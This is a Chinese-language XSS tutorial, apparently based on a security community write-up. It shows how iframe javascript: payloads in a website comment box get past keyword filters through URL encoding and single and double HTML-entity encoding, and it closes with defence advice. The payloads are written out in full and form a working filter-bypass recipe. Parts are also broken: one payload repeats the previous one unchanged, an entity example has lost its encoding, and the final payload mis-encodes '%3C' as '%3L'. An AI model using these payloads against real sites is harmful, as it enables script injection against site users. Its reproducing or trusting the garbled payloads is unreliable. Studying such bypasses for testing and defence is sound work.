有趣的xss漏洞挖掘
字数 1076 2025-08-25 22:59:03
XSS漏洞挖掘实战教学:基于HTML编码的绕过技术
背景介绍
本教学文档基于先知社区一篇关于XSS漏洞挖掘的实战案例,详细讲解如何通过HTML编码技术绕过网站的安全过滤机制。案例中,攻击者发现一个网站评论区存在潜在的XSS漏洞,并通过多次尝试最终成功利用。
漏洞发现过程
初始测试
- 发现目标网站的评论区可能存在XSS漏洞
- 尝试使用基本的XSS payload:
<iframe src="javascript:'<script>alert(1)</script>'"></iframe> - 发现iframe标签未被过滤,但
javascript和script关键字被过滤
第一次绕过尝试
- 使用URL编码和HTML编码组合的payload:
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>- 解码后等价于原始payload
- 发现虽然iframe可用,但javascript和script仍被过滤
HTML编码尝试
- 利用JavaScript支持HTML编码的特性
- 对
javascript:中的部分字符进行HTML16编码:- 将
a编码为a - 将
r编码为r
- 将
- 生成payload:
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe> - 发现提交前payload已被HTML解码一次,导致绕过失败
二次HTML编码突破
- 对src属性值进行二次HTML编码
- 最终payload:
<iframe src="j&#x61vasc&#x72ipt:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x4C;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe> - 成功绕过过滤机制,执行XSS攻击
关键技术点
HTML编码原理
-
HTML实体编码格式:
- 十进制:
&#DDD; - 十六进制:
&#xHH;
- 十进制:
-
编码解码顺序:
- 网站可能进行多次HTML解码
- 二次编码可绕过单层过滤
JavaScript特性利用
- JavaScript引擎会自动解码HTML实体
javascript:协议中HTML编码可不带分号(;)
绕过策略
- 识别过滤层级:通过观察payload在提交前后的变化
- 多层编码:当发现单层解码时,使用二次编码
- 选择性编码:只对关键字进行编码,减少payload长度
防御建议
- 对所有用户输入进行严格的输出编码
- 使用内容安全策略(CSP)限制脚本执行
- 避免在HTML属性中使用动态JavaScript代码
- 实施多层防御机制,包括输入验证和输出编码
- 使用专门的XSS防护库而非自定义过滤
总结
本案例展示了如何通过观察系统行为、利用HTML编码特性和多层编码技术绕过XSS过滤。关键学习点包括:
- 细心观察payload在提交前后的变化
- 理解HTML编码的解码顺序
- 利用JavaScript的编码解码特性
- 多层编码在绕过过滤中的有效性
这种技术虽然简单,但在实际渗透测试中往往能发现许多看似安全实则存在漏洞的系统。